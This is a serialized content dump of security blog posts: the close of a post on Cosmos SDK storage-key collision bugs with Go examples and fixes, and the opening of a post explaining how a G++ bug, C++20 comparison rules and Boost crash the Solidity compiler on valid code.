},{"emptyLinePlaceholder":18},[88724],{"type":32,"value":545},{"type":26,"tag":475,"props":88726,"children":88727},{"class":477,"line":1046},[88728,88733,88737,88741,88745,88749,88753,88757,88761],{"type":26,"tag":475,"props":88729,"children":88730},{"style":2375},[88731],{"type":32,"value":88732}," values",{"type":26,"tag":475,"props":88734,"children":88735},{"style":499},[88736],{"type":32,"value":3440},{"type":26,"tag":475,"props":88738,"children":88739},{"style":2375},[88740],{"type":32,"value":85093},{"type":26,"tag":475,"props":88742,"children":88743},{"style":499},[88744],{"type":32,"value":48650},{"type":26,"tag":475,"props":88746,"children":88747},{"style":2375},[88748],{"type":32,"value":85362},{"type":26,"tag":475,"props":88750,"children":88751},{"style":499},[88752],{"type":32,"value":1699},{"type":26,"tag":475,"props":88754,"children":88755},{"style":714},[88756],{"type":32,"value":786},{"type":26,"tag":475,"props":88758,"children":88759},{"style":2375},[88760],{"type":32,"value":7137},{"type":26,"tag":475,"props":88762,"children":88763},{"style":499},[88764],{"type":32,"value":579},{"type":26,"tag":475,"props":88766,"children":88767},{"class":477,"line":1068},[88768,88772,88776,88781,88785,88790],{"type":26,"tag":475,"props":88769,"children":88770},{"style":2375},[88771],{"type":32,"value":26652},{"type":26,"tag":475,"props":88773,"children":88774},{"style":499},[88775],{"type":32,"value":15037},{"type":26,"tag":475,"props":88777,"children":88778},{"style":2375},[88779],{"type":32,"value":88780},"iterator",{"type":26,"tag":475,"props":88782,"children":88783},{"style":499},[88784],{"type":32,"value":353},{"type":26,"tag":475,"props":88786,"children":88787},{"style":493},[88788],{"type":32,"value":88789},"Value",{"type":26,"tag":475,"props":88791,"children":88792},{"style":499},[88793],{"type":32,"value":3197},{"type":26,"tag":475,"props":88795,"children":88796},{"class":477,"line":1077},[88797],{"type":26,"tag":475,"props":88798,"children":88799},{"style":499},[88800],{"type":32,"value":750},{"type":26,"tag":475,"props":88802,"children":88803},{"class":477,"line":1090},[88804],{"type":26,"tag":475,"props":88805,"children":88806},{"style":499},[88807],{"type":32,"value":851},{"type":26,"tag":475,"props":88809,"children":88810},{"class":477,"line":1119},[88811,88815],{"type":26,"tag":475,"props":88812,"children":88813},{"style":586},[88814],{"type":32,"value":16695},{"type":26,"tag":475,"props":88816,"children":88817},{"style":2375},[88818],{"type":32,"value":88819}," values\n",{"type":26,"tag":475,"props":88821,"children":88822},{"class":477,"line":1132},[88823],{"type":26,"tag":475,"props":88824,"children":88825},{"style":499},[88826],{"type":32,"value":3607},{"type":26,"tag":35,"props":88828,"children":88829},{},[88830,88832,88838,88839,88845,88847,88852,88854,88859,88861,88866,88868,88874,88876,88882],{"type":32,"value":88831},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":26,"tag":53,"props":88833,"children":88835},{"className":88834},[],[88836],{"type":32,"value":88837},"vaultId = 1",{"type":32,"value":209},{"type":26,"tag":53,"props":88840,"children":88842},{"className":88841},[],[88843],{"type":32,"value":88844},"vaultId = 10",{"type":32,"value":88846}," coexist. If we try to fetch data under ",{"type":26,"tag":53,"props":88848,"children":88850},{"className":88849},[],[88851],{"type":32,"value":88837},{"type":32,"value":88853},", all entries under ",{"type":26,"tag":53,"props":88855,"children":88857},{"className":88856},[],[88858],{"type":32,"value":88844},{"type":32,"value":88860}," will also be returned simply because ",{"type":26,"tag":53,"props":88862,"children":88864},{"className":88863},[],[88865],{"type":32,"value":3722},{"type":32,"value":88867}," is a prefix of ",{"type":26,"tag":53,"props":88869,"children":88871},{"className":88870},[],[88872],{"type":32,"value":88873},"10",{"type":32,"value":88875},". To fix this, we must once again append the ",{"type":26,"tag":53,"props":88877,"children":88879},{"className":88878},[],[88880],{"type":32,"value":88881},"Separator",{"type":32,"value":88883}," to the iterator prefix.",{"type":26,"tag":465,"props":88885,"children":88887},{"code":88886,"language":75793,"meta":7,"className":75794,"style":7},"i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[88888],{"type":26,"tag":53,"props":88889,"children":88890},{"__ignoreMap":7},[88891,88918,88930,88983],{"type":26,"tag":475,"props":88892,"children":88893},{"class":477,"line":478},[88894,88898,88902,88906,88910,88914],{"type":26,"tag":475,"props":88895,"children":88896},{"style":2375},[88897],{"type":32,"value":3445},{"type":26,"tag":475,"props":88899,"children":88900},{"style":714},[88901],{"type":32,"value":76045},{"type":26,"tag":475,"props":88903,"children":88904},{"style":2375},[88905],{"type":32,"value":78270},{"type":26,"tag":475,"props":88907,"children":88908},{"style":499},[88909],{"type":32,"value":353},{"type":26,"tag":475,"props":88911,"children":88912},{"style":493},[88913],{"type":32,"value":88076},{"type":26,"tag":475,"props":88915,"children":88916},{"style":499},[88917],{"type":32,"value":3169},{"type":26,"tag":475,"props":88919,"children":88920},{"class":477,"line":516},[88921,88926],{"type":26,"tag":475,"props":88922,"children":88923},{"style":2375},[88924],{"type":32,"value":88925}," kvStore",{"type":26,"tag":475,"props":88927,"children":88928},{"style":499},[88929],{"type":32,"value":2425},{"type":26,"tag":475,"props":88931,"children":88932},{"class":477,"line":539},[88933,88938,88942,88946,88950,88955,88959,88963,88967,88971,88975,88979],{"type":26,"tag":475,"props":88934,"children":88935},{"style":2375},[88936],{"type":32,"value":88937}," fmt",{"type":26,"tag":475,"props":88939,"children":88940},{"style":499},[88941],{"type":32,"value":353},{"type":26,"tag":475,"props":88943,"children":88944},{"style":493},[88945],{"type":32,"value":84845},{"type":26,"tag":475,"props":88947,"children":88948},{"style":499},[88949],{"type":32,"value":626},{"type":26,"tag":475,"props":88951,"children":88952},{"style":629},[88953],{"type":32,"value":88954},"\"%s%d%s\"",{"type":26,"tag":475,"props":88956,"children":88957},{"style":499},[88958],{"type":32,"value":637},{"type":26,"tag":475,"props":88960,"children":88961},{"style":2375},[88962],{"type":32,"value":88126},{"type":26,"tag":475,"props":88964,"children":88965},{"style":499},[88966],{"type":32,"value":637},{"type":26,"tag":475,"props":88968,"children":88969},{"style":2375},[88970],{"type":32,"value":87911},{"type":26,"tag":475,"props":88972,"children":88973},{"style":499},[88974],{"type":32,"value":637},{"type":26,"tag":475,"props":88976,"children":88977},{"style":2375},[88978],{"type":32,"value":88242},{"type":26,"tag":475,"props":88980,"children":88981},{"style":499},[88982],{"type":32,"value":6450},{"type":26,"tag":475,"props":88984,"children":88985},{"class":477,"line":548},[88986],{"type":26,"tag":475,"props":88987,"children":88988},{"style":499},[88989],{"type":32,"value":647},{"type":26,"tag":35,"props":88991,"children":88992},{},[88993,88995,89000],{"type":32,"value":88994},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":26,"tag":53,"props":88996,"children":88998},{"className":88997},[],[88999],{"type":32,"value":84599},{"type":32,"value":89001}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":26,"tag":35,"props":89003,"children":89004},{},[89005],{"type":32,"value":89006},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":26,"tag":41,"props":89008,"children":89010},{"id":89009},"real-world-examples-5",[89011],{"type":32,"value":76318},{"type":26,"tag":35,"props":89013,"children":89014},{},[89015,89016,89021,89023,89030,89032,89038],{"type":32,"value":16319},{"type":26,"tag":53,"props":89017,"children":89019},{"className":89018},[],[89020],{"type":32,"value":78091},{"type":32,"value":89022}," previously lacked protection against KVStore ",{"type":26,"tag":116,"props":89024,"children":89027},{"href":89025,"rel":89026},"https://github.com/cosmos/cosmos-sdk/pull/9363",[120],[89028],{"type":32,"value":89029},"key collisions",{"type":32,"value":89031},". This prior oversight allowed developers to unintentionally create two ",{"type":26,"tag":53,"props":89033,"children":89035},{"className":89034},[],[89036],{"type":32,"value":89037},"KVStores",{"type":32,"value":89039}," that were not independent of each other.",{"type":26,"tag":35,"props":89041,"children":89042},{},[89043],{"type":26,"tag":116,"props":89044,"children":89047},{"href":89045,"rel":89046},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[120],[89048],{"type":32,"value":76368},{"type":26,"tag":465,"props":89050,"children":89052},{"code":89051,"language":75793,"meta":7,"className":75794,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n keys := make(map[string]*KVStoreKey)\n for _, name := range names {\n keys[name] = NewKVStoreKey(name)\n }\n\n return keys\n}\n",[89053],{"type":26,"tag":53,"props":89054,"children":89055},{"__ignoreMap":7},[89056,89118,89166,89202,89242,89249,89256,89268],{"type":26,"tag":475,"props":89057,"children":89058},{"class":477,"line":478},[89059,89063,89068,89072,89077,89081,89085,89089,89093,89097,89101,89105,89109,89114],{"type":26,"tag":475,"props":89060,"children":89061},{"style":482},[89062],{"type":32,"value":75929},{"type":26,"tag":475,"props":89064,"children":89065},{"style":493},[89066],{"type":32,"value":89067}," NewKVStoreKeys",{"type":26,"tag":475,"props":89069,"children":89070},{"style":499},[89071],{"type":32,"value":626},{"type":26,"tag":475,"props":89073,"children":89074},{"style":2375},[89075],{"type":32,"value":89076},"names",{"type":26,"tag":475,"props":89078,"children":89079},{"style":714},[89080],{"type":32,"value":25000},{"type":26,"tag":475,"props":89082,"children":89083},{"style":505},[89084],{"type":32,"value":29369},{"type":26,"tag":475,"props":89086,"children":89087},{"style":499},[89088],{"type":32,"value":2794},{"type":26,"tag":475,"props":89090,"children":89091},{"style":482},[89092],{"type":32,"value":66795},{"type":26,"tag":475,"props":89094,"children":89095},{"style":499},[89096],{"type":32,"value":3440},{"type":26,"tag":475,"props":89098,"children":89099},{"style":505},[89100],{"type":32,"value":29369},{"type":26,"tag":475,"props":89102,"children":89103},{"style":499},[89104],{"type":32,"value":15117},{"type":26,"tag":475,"props":89106,"children":89107},{"style":714},[89108],{"type":32,"value":4282},{"type":26,"tag":475,"props":89110,"children":89111},{"style":505},[89112],{"type":32,"value":89113},"KVStoreKey",{"type":26,"tag":475,"props":89115,"children":89116},{"style":499},[89117],{"type":32,"value":579},{"type":26,"tag":475,"props":89119,"children":89120},{"class":477,"line":516},[89121,89126,89130,89134,89138,89142,89146,89150,89154,89158,89162],{"type":26,"tag":475,"props":89122,"children":89123},{"style":2375},[89124],{"type":32,"value":89125}," keys",{"type":26,"tag":475,"props":89127,"children":89128},{"style":714},[89129],{"type":32,"value":76045},{"type":26,"tag":475,"props":89131,"children":89132},{"style":493},[89133],{"type":32,"value":85186},{"type":26,"tag":475,"props":89135,"children":89136},{"style":499},[89137],{"type":32,"value":626},{"type":26,"tag":475,"props":89139,"children":89140},{"style":482},[89141],{"type":32,"value":66795},{"type":26,"tag":475,"props":89143,"children":89144},{"style":499},[89145],{"type":32,"value":3440},{"type":26,"tag":475,"props":89147,"children":89148},{"style":505},[89149],{"type":32,"value":29369},{"type":26,"tag":475,"props":89151,"children":89152},{"style":499},[89153],{"type":32,"value":15117},{"type":26,"tag":475,"props":89155,"children":89156},{"style":714},[89157],{"type":32,"value":4282},{"type":26,"tag":475,"props":89159,"children":89160},{"style":505},[89161],{"type":32,"value":89113},{"type":26,"tag":475,"props":89163,"children":89164},{"style":499},[89165],{"type":32,"value":647},{"type":26,"tag":475,"props":89167,"children":89168},{"class":477,"line":539},[89169,89173,89177,89181,89185,89189,89193,89198],{"type":26,"tag":475,"props":89170,"children":89171},{"style":586},[89172],{"type":32,"value":2737},{"type":26,"tag":475,"props":89174,"children":89175},{"style":2375},[89176],{"type":32,"value":2742},{"type":26,"tag":475,"props":89178,"children":89179},{"style":499},[89180],{"type":32,"value":637},{"type":26,"tag":475,"props":89182,"children":89183},{"style":2375},[89184],{"type":32,"value":48191},{"type":26,"tag":475,"props":89186,"children":89187},{"style":714},[89188],{"type":32,"value":76045},{"type":26,"tag":475,"props":89190,"children":89191},{"style":586},[89192],{"type":32,"value":77028},{"type":26,"tag":475,"props":89194,"children":89195},{"style":2375},[89196],{"type":32,"value":89197}," names",{"type":26,"tag":475,"props":89199,"children":89200},{"style":499},[89201],{"type":32,"value":579},{"type":26,"tag":475,"props":89203,"children":89204},{"class":477,"line":548},[89205,89209,89213,89217,89221,89225,89230,89234,89238],{"type":26,"tag":475,"props":89206,"children":89207},{"style":2375},[89208],{"type":32,"value":25032},{"type":26,"tag":475,"props":89210,"children":89211},{"style":499},[89212],{"type":32,"value":3440},{"type":26,"tag":475,"props":89214,"children":89215},{"style":2375},[89216],{"type":32,"value":48191},{"type":26,"tag":475,"props":89218,"children":89219},{"style":499},[89220],{"type":32,"value":1699},{"type":26,"tag":475,"props":89222,"children":89223},{"style":714},[89224],{"type":32,"value":786},{"type":26,"tag":475,"props":89226,"children":89227},{"style":493},[89228],{"type":32,"value":89229}," NewKVStoreKey",{"type":26,"tag":475,"props":89231,"children":89232},{"style":499},[89233],{"type":32,"value":626},{"type":26,"tag":475,"props":89235,"children":89236},{"style":2375},[89237],{"type":32,"value":48191},{"type":26,"tag":475,"props":89239,"children":89240},{"style":499},[89241],{"type":32,"value":647},{"type":26,"tag":475,"props":89243,"children":89244},{"class":477,"line":558},[89245],{"type":26,"tag":475,"props":89246,"children":89247},{"style":499},[89248],{"type":32,"value":851},{"type":26,"tag":475,"props":89250,"children":89251},{"class":477,"line":582},[89252],{"type":26,"tag":475,"props":89253,"children":89254},{"emptyLinePlaceholder":18},[89255],{"type":32,"value":545},{"type":26,"tag":475,"props":89257,"children":89258},{"class":477,"line":596},[89259,89263],{"type":26,"tag":475,"props":89260,"children":89261},{"style":586},[89262],{"type":32,"value":16695},{"type":26,"tag":475,"props":89264,"children":89265},{"style":2375},[89266],{"type":32,"value":89267}," keys\n",{"type":26,"tag":475,"props":89269,"children":89270},{"class":477,"line":610},[89271],{"type":26,"tag":475,"props":89272,"children":89273},{"style":499},[89274],{"type":32,"value":3607},{"type":26,"tag":35,"props":89276,"children":89277},{},[89278,89280,89285,89287,89292,89294,89299],{"type":32,"value":89279},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":26,"tag":53,"props":89281,"children":89283},{"className":89282},[],[89284],{"type":32,"value":78091},{"type":32,"value":89286}," will refuse to run if any ",{"type":26,"tag":53,"props":89288,"children":89290},{"className":89289},[],[89291],{"type":32,"value":84599},{"type":32,"value":89293}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":26,"tag":53,"props":89295,"children":89297},{"className":89296},[],[89298],{"type":32,"value":84599},{"type":32,"value":89300}," level.",{"type":26,"tag":35,"props":89302,"children":89303},{},[89304,89306,89313],{"type":32,"value":89305},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":26,"tag":116,"props":89307,"children":89310},{"href":89308,"rel":89309},"https://github.com/cosmos/cosmos-sdk/issues/12661",[120],[89311],{"type":32,"value":89312},"incorrect iterator behavior",{"type":32,"value":353},{"type":26,"tag":35,"props":89315,"children":89316},{},[89317,89319,89326],{"type":32,"value":89318},"Notably, gradual adoption of the ",{"type":26,"tag":116,"props":89320,"children":89323},{"href":89321,"rel":89322},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[120],[89324],{"type":32,"value":89325},"collections",{"type":32,"value":89327}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":26,"tag":27,"props":89329,"children":89330},{"id":2533},[89331],{"type":32,"value":2536},{"type":26,"tag":35,"props":89333,"children":89334},{},[89335],{"type":32,"value":89336},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":26,"tag":35,"props":89338,"children":89339},{},[89340],{"type":32,"value":89341},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":26,"tag":2548,"props":89343,"children":89344},{},[89345],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":89347},[89348,89349,89352,89355,89358,89361,89364,89367],{"id":28717,"depth":516,"text":28720},{"id":75510,"depth":516,"text":75513,"children":89350},[89351],{"id":76315,"depth":539,"text":76318},{"id":76911,"depth":516,"text":76914,"children":89353},[89354],{"id":77560,"depth":539,"text":76318},{"id":78057,"depth":516,"text":78060,"children":89356},[89357],{"id":79357,"depth":539,"text":76318},{"id":80694,"depth":516,"text":80697,"children":89359},[89360],{"id":81232,"depth":539,"text":76318},{"id":82751,"depth":516,"text":82754,"children":89362},[89363],{"id":83631,"depth":539,"text":76318},{"id":84585,"depth":516,"text":84588,"children":89365},[89366],{"id":89009,"depth":539,"text":76318},{"id":2533,"depth":516,"text":2536},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":89372,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":89373,"description":89374,"author":89375,"image":89376,"date":89378,"tags":89379,"isFeatured":18,"onBlogPage":18,"body":89380,"_type":2566,"_id":92089,"_source":2568,"_file":92090,"_stem":92091,"_extension":2571},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":89377,"height":17,"width":17},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[4185,28712],{"type":23,"children":89381,"toc":92073},[89382,89387,89524,89529,89534,89539,89544,89657,89662,89667,89672,89712,89725,89730,89748,89753,89756,89762,89776,89789,89794,89807,89812,89824,89837,89842,89845,89851,89857,89914,89919,89925,89939,89974,89982,89990,90010,90016,90021,90461,90469,90513,90518,90526,90534,90573,90578,90586,90591,90594,90600,90606,90631,90643,90670,90703,90708,90711,90717,90736,91254,91267,91285,91308,91319,91324,91427,91432,91437,91451,91456,91532,91550,91555,91558,91564,91576,91588,91928,91933,91951,91956,91959,91965,91970,91988,92008,92011,92017,92036,92039,92043,92048,92059,92064,92069],{"type":26,"tag":35,"props":89383,"children":89384},{},[89385],{"type":32,"value":89386},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":26,"tag":465,"props":89388,"children":89390},{"code":89389,"language":4185,"meta":7,"className":4186,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure returns (uint256) {\n return 1 ** 2;\n }\n}\n",[89391],{"type":26,"tag":53,"props":89392,"children":89393},{"__ignoreMap":7},[89394,89402,89420,89427,89444,89486,89510,89517],{"type":26,"tag":475,"props":89395,"children":89396},{"class":477,"line":478},[89397],{"type":26,"tag":475,"props":89398,"children":89399},{"style":552},[89400],{"type":32,"value":89401},"// SPDX-License-Identifier: UNLICENSED\n",{"type":26,"tag":475,"props":89403,"children":89404},{"class":477,"line":516},[89405,89410,89415],{"type":26,"tag":475,"props":89406,"children":89407},{"style":586},[89408],{"type":32,"value":89409},"pragma",{"type":26,"tag":475,"props":89411,"children":89412},{"style":482},[89413],{"type":32,"value":89414}," solidity",{"type":26,"tag":475,"props":89416,"children":89417},{"style":499},[89418],{"type":32,"value":89419}," ^0.8.25;\n",{"type":26,"tag":475,"props":89421,"children":89422},{"class":477,"line":539},[89423],{"type":26,"tag":475,"props":89424,"children":89425},{"emptyLinePlaceholder":18},[89426],{"type":32,"value":545},{"type":26,"tag":475,"props":89428,"children":89429},{"class":477,"line":548},[89430,89435,89440],{"type":26,"tag":475,"props":89431,"children":89432},{"style":482},[89433],{"type":32,"value":89434},"contract",{"type":26,"tag":475,"props":89436,"children":89437},{"style":505},[89438],{"type":32,"value":89439}," A",{"type":26,"tag":475,"props":89441,"children":89442},{"style":499},[89443],{"type":32,"value":579},{"type":26,"tag":475,"props":89445,"children":89446},{"class":477,"line":558},[89447,89452,89457,89461,89465,89470,89474,89478,89482],{"type":26,"tag":475,"props":89448,"children":89449},{"style":482},[89450],{"type":32,"value":89451}," function",{"type":26,"tag":475,"props":89453,"children":89454},{"style":493},[89455],{"type":32,"value":89456}," a",{"type":26,"tag":475,"props":89458,"children":89459},{"style":499},[89460],{"type":32,"value":13750},{"type":26,"tag":475,"props":89462,"children":89463},{"style":482},[89464],{"type":32,"value":61367},{"type":26,"tag":475,"props":89466,"children":89467},{"style":482},[89468],{"type":32,"value":89469}," pure",{"type":26,"tag":475,"props":89471,"children":89472},{"style":586},[89473],{"type":32,"value":75622},{"type":26,"tag":475,"props":89475,"children":89476},{"style":499},[89477],{"type":32,"value":2775},{"type":26,"tag":475,"props":89479,"children":89480},{"style":505},[89481],{"type":32,"value":45861},{"type":26,"tag":475,"props":89483,"children":89484},{"style":499},[89485],{"type":32,"value":676},{"type":26,"tag":475,"props":89487,"children":89488},{"class":477,"line":582},[89489,89493,89497,89502,89506],{"type":26,"tag":475,"props":89490,"children":89491},{"style":586},[89492],{"type":32,"value":15449},{"type":26,"tag":475,"props":89494,"children":89495},{"style":903},[89496],{"type":32,"value":4234},{"type":26,"tag":475,"props":89498,"children":89499},{"style":714},[89500],{"type":32,"value":89501}," **",{"type":26,"tag":475,"props":89503,"children":89504},{"style":903},[89505],{"type":32,"value":7645},{"type":26,"tag":475,"props":89507,"children":89508},{"style":499},[89509],{"type":32,"value":2729},{"type":26,"tag":475,"props":89511,"children":89512},{"class":477,"line":596},[89513],{"type":26,"tag":475,"props":89514,"children":89515},{"style":499},[89516],{"type":32,"value":851},{"type":26,"tag":475,"props":89518,"children":89519},{"class":477,"line":610},[89520],{"type":26,"tag":475,"props":89521,"children":89522},{"style":499},[89523],{"type":32,"value":3607},{"type":26,"tag":35,"props":89525,"children":89526},{},[89527],{"type":32,"value":89528},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":26,"tag":35,"props":89530,"children":89531},{},[89532],{"type":32,"value":89533},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":26,"tag":35,"props":89535,"children":89536},{},[89537],{"type":32,"value":89538},"And yet, it crashes.",{"type":26,"tag":35,"props":89540,"children":89541},{},[89542],{"type":32,"value":89543},"Another minimal example?",{"type":26,"tag":465,"props":89545,"children":89547},{"code":89546,"language":4185,"meta":7,"className":4186,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure {\n uint256[1] data;\n }\n}\n",[89548],{"type":26,"tag":53,"props":89549,"children":89550},{"__ignoreMap":7},[89551,89558,89573,89580,89595,89622,89643,89650],{"type":26,"tag":475,"props":89552,"children":89553},{"class":477,"line":478},[89554],{"type":26,"tag":475,"props":89555,"children":89556},{"style":552},[89557],{"type":32,"value":89401},{"type":26,"tag":475,"props":89559,"children":89560},{"class":477,"line":516},[89561,89565,89569],{"type":26,"tag":475,"props":89562,"children":89563},{"style":586},[89564],{"type":32,"value":89409},{"type":26,"tag":475,"props":89566,"children":89567},{"style":482},[89568],{"type":32,"value":89414},{"type":26,"tag":475,"props":89570,"children":89571},{"style":499},[89572],{"type":32,"value":89419},{"type":26,"tag":475,"props":89574,"children":89575},{"class":477,"line":539},[89576],{"type":26,"tag":475,"props":89577,"children":89578},{"emptyLinePlaceholder":18},[89579],{"type":32,"value":545},{"type":26,"tag":475,"props":89581,"children":89582},{"class":477,"line":548},[89583,89587,89591],{"type":26,"tag":475,"props":89584,"children":89585},{"style":482},[89586],{"type":32,"value":89434},{"type":26,"tag":475,"props":89588,"children":89589},{"style":505},[89590],{"type":32,"value":89439},{"type":26,"tag":475,"props":89592,"children":89593},{"style":499},[89594],{"type":32,"value":579},{"type":26,"tag":475,"props":89596,"children":89597},{"class":477,"line":558},[89598,89602,89606,89610,89614,89618],{"type":26,"tag":475,"props":89599,"children":89600},{"style":482},[89601],{"type":32,"value":89451},{"type":26,"tag":475,"props":89603,"children":89604},{"style":493},[89605],{"type":32,"value":89456},{"type":26,"tag":475,"props":89607,"children":89608},{"style":499},[89609],{"type":32,"value":13750},{"type":26,"tag":475,"props":89611,"children":89612},{"style":482},[89613],{"type":32,"value":61367},{"type":26,"tag":475,"props":89615,"children":89616},{"style":482},[89617],{"type":32,"value":89469},{"type":26,"tag":475,"props":89619,"children":89620},{"style":499},[89621],{"type":32,"value":579},{"type":26,"tag":475,"props":89623,"children":89624},{"class":477,"line":582},[89625,89630,89634,89638],{"type":26,"tag":475,"props":89626,"children":89627},{"style":505},[89628],{"type":32,"value":89629}," uint256",{"type":26,"tag":475,"props":89631,"children":89632},{"style":499},[89633],{"type":32,"value":3440},{"type":26,"tag":475,"props":89635,"children":89636},{"style":903},[89637],{"type":32,"value":3722},{"type":26,"tag":475,"props":89639,"children":89640},{"style":499},[89641],{"type":32,"value":89642},"] data;\n",{"type":26,"tag":475,"props":89644,"children":89645},{"class":477,"line":596},[89646],{"type":26,"tag":475,"props":89647,"children":89648},{"style":499},[89649],{"type":32,"value":851},{"type":26,"tag":475,"props":89651,"children":89652},{"class":477,"line":610},[89653],{"type":26,"tag":475,"props":89654,"children":89655},{"style":499},[89656],{"type":32,"value":3607},{"type":26,"tag":35,"props":89658,"children":89659},{},[89660],{"type":32,"value":89661},"Still crashes.",{"type":26,"tag":35,"props":89663,"children":89664},{},[89665],{"type":32,"value":89666},"So what’s going on?",{"type":26,"tag":35,"props":89668,"children":89669},{},[89670],{"type":32,"value":89671},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":26,"tag":465,"props":89673,"children":89675},{"code":89674,"language":28814,"meta":7,"className":28812,"style":7},"if (*lengthValue == 0) { ... }\n",[89676],{"type":26,"tag":53,"props":89677,"children":89678},{"__ignoreMap":7},[89679],{"type":26,"tag":475,"props":89680,"children":89681},{"class":477,"line":478},[89682,89686,89690,89694,89699,89703,89707],{"type":26,"tag":475,"props":89683,"children":89684},{"style":586},[89685],{"type":32,"value":15285},{"type":26,"tag":475,"props":89687,"children":89688},{"style":499},[89689],{"type":32,"value":2775},{"type":26,"tag":475,"props":89691,"children":89692},{"style":714},[89693],{"type":32,"value":4282},{"type":26,"tag":475,"props":89695,"children":89696},{"style":499},[89697],{"type":32,"value":89698},"lengthValue ",{"type":26,"tag":475,"props":89700,"children":89701},{"style":714},[89702],{"type":32,"value":8287},{"type":26,"tag":475,"props":89704,"children":89705},{"style":903},[89706],{"type":32,"value":2752},{"type":26,"tag":475,"props":89708,"children":89709},{"style":499},[89710],{"type":32,"value":89711},") { ... }\n",{"type":26,"tag":35,"props":89713,"children":89714},{},[89715,89717,89723],{"type":32,"value":89716},"That single comparison — a ",{"type":26,"tag":53,"props":89718,"children":89720},{"className":89719},[],[89721],{"type":32,"value":89722},"boost::rational",{"type":32,"value":89724}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":26,"tag":35,"props":89726,"children":89727},{},[89728],{"type":32,"value":89729},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":26,"tag":82,"props":89731,"children":89732},{},[89733,89738,89743],{"type":26,"tag":86,"props":89734,"children":89735},{},[89736],{"type":32,"value":89737},"A 12-year-old overload resolution bug in G++",{"type":26,"tag":86,"props":89739,"children":89740},{},[89741],{"type":32,"value":89742},"An outdated symmetric comparison pattern in Boost",{"type":26,"tag":86,"props":89744,"children":89745},{},[89746],{"type":32,"value":89747},"A subtle but impactful rewrite rule in C++20",{"type":26,"tag":35,"props":89749,"children":89750},{},[89751],{"type":32,"value":89752},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":26,"tag":18502,"props":89754,"children":89755},{},[],{"type":26,"tag":27,"props":89757,"children":89759},{"id":89758},"background-the-setup",[89760],{"type":32,"value":89761},"Background: The Setup",{"type":26,"tag":35,"props":89763,"children":89764},{},[89765,89767,89774],{"type":32,"value":89766},"If you follow the ",{"type":26,"tag":116,"props":89768,"children":89771},{"href":89769,"rel":89770},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[120],[89772],{"type":32,"value":89773},"Solidity build documentation (v0.8.30)",{"type":32,"value":89775},", you'll see it recommends:",{"type":26,"tag":82,"props":89777,"children":89778},{},[89779,89784],{"type":26,"tag":86,"props":89780,"children":89781},{},[89782],{"type":32,"value":89783},"Boost ≥ 1.67",{"type":26,"tag":86,"props":89785,"children":89786},{},[89787],{"type":32,"value":89788},"GCC ≥ 11",{"type":26,"tag":35,"props":89790,"children":89791},{},[89792],{"type":32,"value":89793},"Ubuntu 22.04, for example, ships with:",{"type":26,"tag":82,"props":89795,"children":89796},{},[89797,89802],{"type":26,"tag":86,"props":89798,"children":89799},{},[89800],{"type":32,"value":89801},"G++ 11.4.0",{"type":26,"tag":86,"props":89803,"children":89804},{},[89805],{"type":32,"value":89806},"Boost 1.74.0",{"type":26,"tag":35,"props":89808,"children":89809},{},[89810],{"type":32,"value":89811},"So far, so good.",{"type":26,"tag":35,"props":89813,"children":89814},{},[89815,89817,89822],{"type":32,"value":89816},"However, Solidity enabled ",{"type":26,"tag":105,"props":89818,"children":89819},{},[89820],{"type":32,"value":89821},"C++20",{"type":32,"value":89823}," in January 2025:",{"type":26,"tag":2637,"props":89825,"children":89826},{},[89827],{"type":26,"tag":35,"props":89828,"children":89829},{},[89830],{"type":26,"tag":116,"props":89831,"children":89834},{"href":89832,"rel":89833},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[120],[89835],{"type":32,"value":89836},"Enable C++20 in 